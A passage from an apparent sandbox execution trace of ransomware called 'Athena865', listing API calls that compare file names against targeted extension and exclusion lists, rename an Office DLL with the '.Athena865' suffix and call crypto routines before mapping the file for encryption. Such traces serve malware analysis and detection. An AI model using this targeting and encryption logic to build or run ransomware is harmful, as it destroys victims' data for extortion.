(lpString1="DLL", lpString2="lwx") returned -1 [0112.365] lstrlenW (lpString="maf") returned 3 [0112.365] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0112.365] lstrlenW (lpString="maq") returned 3 [0112.365] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0112.365] lstrlenW (lpString="mar") returned 3 [0112.365] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0112.365] lstrlenW (lpString="marshal") returned 7 [0112.365] lstrcmpiW (lpString1="DBC.DLL", lpString2="marshal") returned -1 [0112.366] lstrlenW (lpString="mas") returned 3 [0112.366] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0112.366] lstrlenW (lpString="mav") returned 3 [0112.366] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0112.366] lstrlenW (lpString="maw") returned 3 [0112.366] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0112.366] lstrlenW (lpString="mdbhtml") returned 7 [0112.366] lstrcmpiW (lpString1="DBC.DLL", lpString2="mdbhtml") returned -1 [0112.366] lstrlenW (lpString="mdn") returned 3 [0112.366] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0112.366] lstrlenW (lpString="mdt") returned 3 [0112.366] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0112.366] lstrlenW (lpString="mfd") returned 3 [0112.366] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0112.366] lstrlenW (lpString="mpd") returned 3 [0112.366] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0112.366] lstrlenW (lpString="mrg") returned 3 [0112.366] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0112.366] lstrlenW (lpString="mud") returned 3 [0112.366] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0112.366] lstrlenW (lpString="mwb") returned 3 [0112.366] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0112.366] lstrlenW (lpString="myd") returned 3 [0112.366] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0112.366] lstrlenW (lpString="ndf") returned 3 [0112.366] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0112.366] lstrlenW (lpString="nnt") returned 3 [0112.366] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0112.366] lstrlenW (lpString="nrmlib") returned 6 [0112.367] lstrcmpiW (lpString1="BC.DLL", lpString2="nrmlib") returned -1 [0112.367] lstrlenW (lpString="ns2") returned 3 [0112.367] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0112.367] lstrlenW (lpString="ns3") returned 3 [0112.367] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0112.367] lstrlenW (lpString="ns4") returned 3 [0112.367] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0112.367] lstrlenW (lpString="nsf") returned 3 [0112.367] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0112.367] lstrlenW (lpString="nv") returned 2 [0112.367] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0112.367] lstrlenW (lpString="nv2") returned 3 [0112.367] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0112.367] lstrlenW (lpString="nwdb") returned 4 [0112.367] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0112.367] lstrlenW (lpString="nyf") returned 3 [0112.367] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0112.367] lstrlenW (lpString="odb") returned 3 [0112.367] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0112.367] lstrlenW (lpString="odb") returned 3 [0112.367] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0112.367] lstrlenW (lpString="oqy") returned 3 [0112.367] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0112.367] lstrlenW (lpString="ora") returned 3 [0112.367] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0112.367] lstrlenW (lpString="orx") returned 3 [0112.367] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0112.367] lstrlenW (lpString="owc") returned 3 [0112.367] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0112.368] lstrlenW (lpString="p96") returned 3 [0112.368] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0112.368] lstrlenW (lpString="p97") returned 3 [0112.368] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0112.368] lstrlenW (lpString="pan") returned 3 [0112.368] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0112.368] lstrlenW (lpString="pdb") returned 3 [0112.368] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0112.368] lstrlenW (lpString="pdm") returned 3 [0112.368] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0112.368] lstrlenW (lpString="pnz") returned 3 [0112.368] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0112.368] lstrlenW (lpString="qry") returned 3 [0112.368] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0112.368] lstrlenW (lpString="qvd") returned 3 [0112.368] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0112.368] lstrlenW (lpString="rbf") returned 3 [0112.368] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0112.368] lstrlenW (lpString="rctd") returned 4 [0112.368] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0112.368] lstrlenW (lpString="rod") returned 3 [0112.368] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0112.368] lstrlenW (lpString="rodx") returned 4 [0112.368] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0112.368] lstrlenW (lpString="rpd") returned 3 [0112.368] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0112.368] lstrlenW (lpString="rsd") returned 3 [0112.368] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0112.368] lstrlenW (lpString="sas7bdat") returned 8 [0112.368] lstrcmpiW (lpString1="ODBC.DLL", lpString2="sas7bdat") returned -1 [0112.369] lstrlenW (lpString="sbf") returned 3 [0112.369] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0112.369] lstrlenW (lpString="scx") returned 3 [0112.369] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0112.369] lstrlenW (lpString="sdb") returned 3 [0112.369] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0112.369] lstrlenW (lpString="sdc") returned 3 [0112.369] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0112.369] lstrlenW (lpString="sdf") returned 3 [0112.369] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0112.369] lstrlenW (lpString="sis") returned 3 [0112.369] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0112.369] lstrlenW (lpString="spq") returned 3 [0112.369] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0112.369] lstrlenW (lpString="te") returned 2 [0112.369] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0112.369] lstrlenW (lpString="teacher") returned 7 [0112.369] lstrcmpiW (lpString1="DBC.DLL", lpString2="teacher") returned -1 [0112.369] lstrlenW (lpString="tmd") returned 3 [0112.369] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0112.369] lstrlenW (lpString="tps") returned 3 [0112.369] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0112.369] lstrlenW (lpString="trc") returned 3 [0112.369] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0112.369] lstrlenW (lpString="trc") returned 3 [0112.369] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0112.370] lstrlenW (lpString="trm") returned 3 [0112.370] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0112.370] lstrlenW (lpString="udb") returned 3 [0112.370] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0112.370] lstrlenW (lpString="udl") returned 3 [0112.370] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0112.370] lstrlenW (lpString="usr") returned 3 [0112.370] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0112.370] lstrlenW (lpString="v12") returned 3 [0112.370] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0112.370] lstrlenW (lpString="vis") returned 3 [0112.370] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0112.370] lstrlenW (lpString="vpd") returned 3 [0112.370] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0112.370] lstrlenW (lpString="vvv") returned 3 [0112.370] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0112.370] lstrlenW (lpString="wdb") returned 3 [0112.370] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0112.370] lstrlenW (lpString="wmdb") returned 4 [0112.370] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0112.370] lstrlenW (lpString="wrk") returned 3 [0112.370] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0112.370] lstrlenW (lpString="xdb") returned 3 [0112.370] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0112.370] lstrlenW (lpString="xld") returned 3 [0112.370] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0112.370] lstrlenW (lpString="xmlff") returned 5 [0112.370] lstrcmpiW (lpString1="C.DLL", lpString2="xmlff") returned -1 [0112.370] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.Athena865") returned 77 [0112.371] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll.athena865"), dwFlags=0x1) returned 1 [0112.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0112.372] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=342960) returned 1 [0112.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0112.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0112.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0112.372] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0112.373] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0112.373] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.373] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x53eb0, lpName=0x0) returned 0x154 [0112.374] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x53eb0) returned 0x2d50000 [0112.393] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0112.393] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0112.393] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.393] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0112.393] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0112.394] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0112.394] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0112.394] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.394] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0112.394] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0112.394] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0112.394] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.394] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0112.394] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0112.397] CloseHandle (hObject=0x154) returned 1 [0112.397] CloseHandle (hObject=0x17c) returned 1 [0112.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0112.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0112.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0112.399] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1 [0112.399] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0112.399] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0112.399] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2=".") returned 1 [0112.399] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="..") returned 1 [0112.399] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="windows") returned -1 [0112.399] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="bootmgr") returned -1 [0112.399] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="temp") returned -1 [0112.399] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="pagefile.sys") returned -1 [0112.399] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="boot") returned -1 [0112.399] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="ids.txt") returned -1 [0112.399] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="ntuser.dat") returned -1 [0112.399] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="perflogs") returned -1 [0112.399] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="MSBuild") returned -1 [0112.399] lstrlenW (lpString="ACEODDBS.DLL") returned 12 [0112.399] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ACEODDBS.DLL" | out: lpString1="ACEODDBS.DLL") returned="ACEODDBS.DLL" [0112.399] lstrlenW (lpString="ACEODDBS.DLL") returned 12 [0112.399] lstrlenW (lpString="Athena865") returned 9 [0112.399] lstrcmpiW (lpString1="ODDBS.DLL", lpString2="Athena865") returned 1 [0112.399] lstrlenW (lpString=".dll") returned 4 [0112.399] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2=".dll") returned 1 [0112.399] lstrlenW (lpString=".lnk") returned 4 [0112.399] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2=".lnk") returned 1 [0112.399] lstrlenW (lpString=".ini") returned 4 [0112.400] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2=".ini") returned 1 [0112.400] lstrlenW (lpString=".sys") returned 4 [0112.400] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2=".sys") returned 1 [0112.400] lstrlenW (lpString="ACEODDBS.DLL") returned 12 [0112.400] lstrlenW (lpString="bak") returned 3 [0112.400] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0112.400] lstrlenW (lpString="ba_") returned 3 [0112.400] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0112.400] lstrlenW (lpString="dbb") returned 3 [0112.400] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0112.401] lstrlenW (lpString="vmdk") returned 4 [0112.401] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0112.402] lstrlenW (lpString="rar") returned 3 [0112.402] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0112.403] lstrlenW (lpString="zip") returned 3 [0112.403] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0112.404] lstrlenW (lpString="tgz") returned 3 [0112.404] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0112.404] lstrlenW (lpString="vbox") returned 4 [0112.404] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0112.404] lstrlenW (lpString="vdi") returned 3 [0112.404] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0112.404] lstrlenW (lpString="vhd") returned 3 [0112.404] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0112.404] lstrlenW (lpString="vhdx") returned 4 [0112.404] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0112.404] lstrlenW (lpString="avhd") returned 4 [0112.404] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0112.404] lstrlenW (lpString="db") returned 2 [0112.404] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0112.404] lstrlenW (lpString="db2") returned 3 [0112.404] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0112.404] lstrlenW (lpString="db3") returned 3 [0112.404] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0112.404] lstrlenW (lpString="dbf") returned 3 [0112.404] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0112.404] lstrlenW (lpString="mdf") returned 3 [0112.404] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0112.404] lstrlenW (lpString="mdb") returned 3 [0112.404] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0112.404] lstrlenW (lpString="sql") returned 3 [0112.405] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0112.405] lstrlenW (lpString="sqlite") returned 6 [0112.405] lstrcmpiW (lpString1="BS.DLL", lpString2="sqlite") returned -1 [0112.405] lstrlenW (lpString="sqlite3") returned 7 [0112.405] lstrcmpiW (lpString1="DBS.DLL", lpString2="sqlite3") returned -1 [0112.405] lstrlenW (lpString="sqlitedb") returned 8 [0112.405] lstrcmpiW (lpString1="DDBS.DLL", lpString2="sqlitedb") returned -1 [0112.405] lstrlenW (lpString="xml") returned 3 [0112.405] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0112.405] lstrlenW (lpString="$er") returned 3 [0112.405] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0112.405] lstrlenW (lpString="4dd") returned 3 [0112.405] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0112.405] lstrlenW (lpString="4dl") returned 3 [0112.405] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0112.405] lstrlenW (lpString="^^^") returned 3 [0112.405] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0112.405] lstrlenW (lpString="abs") returned 3 [0112.405] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0112.405] lstrlenW (lpString="abx") returned 3 [0112.405] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0112.405] lstrlenW (lpString="accdb") returned 5 [0112.405] lstrcmpiW (lpString1="S.DLL", lpString2="accdb") returned 1 [0112.405] lstrlenW (lpString="accdc") returned 5 [0112.405] lstrcmpiW (lpString1="S.DLL", lpString2="accdc") returned 1 [0112.405] lstrlenW (lpString="accde") returned 5 [0112.405] lstrcmpiW (lpString1="S.DLL", lpString2="accde") returned 1 [0112.405] lstrlenW (lpString="accdr") returned 5 [0112.405] lstrcmpiW (lpString1="S.DLL", lpString2="accdr") returned 1 [0112.406] lstrlenW (lpString="accdt") returned 5 [0112.406] lstrcmpiW (lpString1="S.DLL", lpString2="accdt") returned 1 [0112.406] lstrlenW (lpString="accdw") returned 5 [0112.406] lstrcmpiW (lpString1="S.DLL", lpString2="accdw") returned 1 [0112.406] lstrlenW (lpString="accft") returned 5 [0112.406] lstrcmpiW (lpString1="S.DLL", lpString2="accft") returned 1 [0112.406] lstrlenW (lpString="adb") returned 3 [0112.406] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0112.406] lstrlenW (lpString="adb") returned 3 [0112.406] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0112.406] lstrlenW (lpString="ade") returned 3 [0112.406] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0112.406] lstrlenW (lpString="adf") returned 3 [0112.406] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0112.406] lstrlenW (lpString="adn") returned 3 [0112.406] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0112.406] lstrlenW (lpString="adp") returned 3 [0112.406] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0112.406] lstrlenW (lpString="alf") returned 3 [0112.406] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0112.406] lstrlenW (lpString="ask") returned 3 [0112.406] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0112.406] lstrlenW (lpString="btr") returned 3 [0112.406] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0112.406] lstrlenW (lpString="cat") returned 3 [0112.406] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0112.406] lstrlenW (lpString="cdb") returned 3 [0112.406] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0112.406] lstrlenW (lpString="ckp") returned 3 [0112.407] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0112.407] lstrlenW (lpString="cma") returned 3 [0112.407] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0112.407] lstrlenW (lpString="cpd") returned 3 [0112.407] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0112.407] lstrlenW (lpString="dacpac") returned 6 [0112.407] lstrcmpiW (lpString1="BS.DLL", lpString2="dacpac") returned -1 [0112.407] lstrlenW (lpString="dad") returned 3 [0112.407] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0112.407] lstrlenW (lpString="dadiagrams") returned 10 [0112.407] lstrcmpiW (lpString1="EODDBS.DLL", lpString2="dadiagrams") returned 1 [0112.407] lstrlenW (lpString="daschema") returned 8 [0112.407] lstrcmpiW (lpString1="DDBS.DLL", lpString2="daschema") returned 1 [0112.407] lstrlenW (lpString="db-journal") returned 10 [0112.407] lstrcmpiW (lpString1="EODDBS.DLL", lpString2="db-journal") returned 1 [0112.407] lstrlenW (lpString="db-shm") returned 6 [0112.407] lstrcmpiW (lpString1="BS.DLL", lpString2="db-shm") returned -1 [0112.407] lstrlenW (lpString="db-wal") returned 6 [0112.407] lstrcmpiW (lpString1="BS.DLL", lpString2="db-wal") returned -1 [0112.407] lstrlenW (lpString="dbc") returned 3 [0112.407] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0112.407] lstrlenW (lpString="dbs") returned 3 [0112.407] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0112.407] lstrlenW (lpString="dbt") returned 3 [0112.407] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0112.407] lstrlenW (lpString="dbv") returned 3 [0112.407] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0112.407] lstrlenW (lpString="dbx") returned 3 [0112.407] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0112.408] lstrlenW (lpString="dcb") returned 3 [0112.408] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0112.408] lstrlenW (lpString="dct") returned 3 [0112.408] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0112.408] lstrlenW (lpString="dcx") returned 3 [0112.408] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0112.408] lstrlenW (lpString="ddl") returned 3 [0112.408] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0112.408] lstrlenW (lpString="dlis") returned 4 [0112.408] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0112.408] lstrlenW (lpString="dp1") returned 3 [0112.408] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0112.408] lstrlenW (lpString="dqy") returned 3 [0112.408] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0112.408] lstrlenW (lpString="dsk") returned 3 [0112.408] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0112.408] lstrlenW (lpString="dsn") returned 3 [0112.408] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0112.408] lstrlenW (lpString="dtsx") returned 4 [0112.408] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0112.408] lstrlenW (lpString="dxl") returned 3 [0112.408] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0112.408] lstrlenW (lpString="eco") returned 3 [0112.408] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0112.408] lstrlenW (lpString="ecx") returned 3 [0112.408] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0112.408] lstrlenW (lpString="edb") returned 3 [0112.408] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0112.408] lstrlenW (lpString="epim") returned 4 [0112.409] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0112.409] lstrlenW (lpString="fcd") returned 3 [0112.409] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0112.409] lstrlenW (lpString="fdb") returned 3 [0112.409] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0112.409] lstrlenW (lpString="fic") returned 3 [0112.409] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0112.409] lstrlenW (lpString="flexolibrary") returned 12 [0112.409] lstrlenW (lpString="fm5") returned 3 [0112.409] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0112.409] lstrlenW (lpString="fmp") returned 3 [0112.409] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0112.409] lstrlenW (lpString="fmp12") returned 5 [0112.409] lstrcmpiW (lpString1="S.DLL", lpString2="fmp12") returned 1 [0112.409] lstrlenW (lpString="fmpsl") returned 5 [0112.409] lstrcmpiW (lpString1="S.DLL", lpString2="fmpsl") returned 1 [0112.409] lstrlenW (lpString="fol") returned 3 [0112.409] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0112.409] lstrlenW (lpString="fp3") returned 3 [0112.409] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0112.409] lstrlenW (lpString="fp4") returned 3 [0112.409] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0112.409] lstrlenW (lpString="fp5") returned 3 [0112.409] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0112.409] lstrlenW (lpString="fp7") returned 3 [0112.409] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0112.409] lstrlenW (lpString="fpt") returned 3 [0112.409] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0112.409] lstrlenW (lpString="frm") returned 3 [0112.410] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0112.410] lstrlenW (lpString="gdb") returned 3 [0112.410] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0112.410] lstrlenW (lpString="gdb") returned 3 [0112.410] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0112.410] lstrlenW (lpString="grdb") returned 4 [0112.410] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0112.410] lstrlenW (lpString="gwi") returned 3 [0112.410] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0112.410] lstrlenW (lpString="hdb") returned 3 [0112.410] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0112.410] lstrlenW (lpString="his") returned 3 [0112.410] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0112.410] lstrlenW (lpString="ib") returned 2 [0112.410] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0112.410] lstrlenW (lpString="idb") returned 3 [0112.410] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 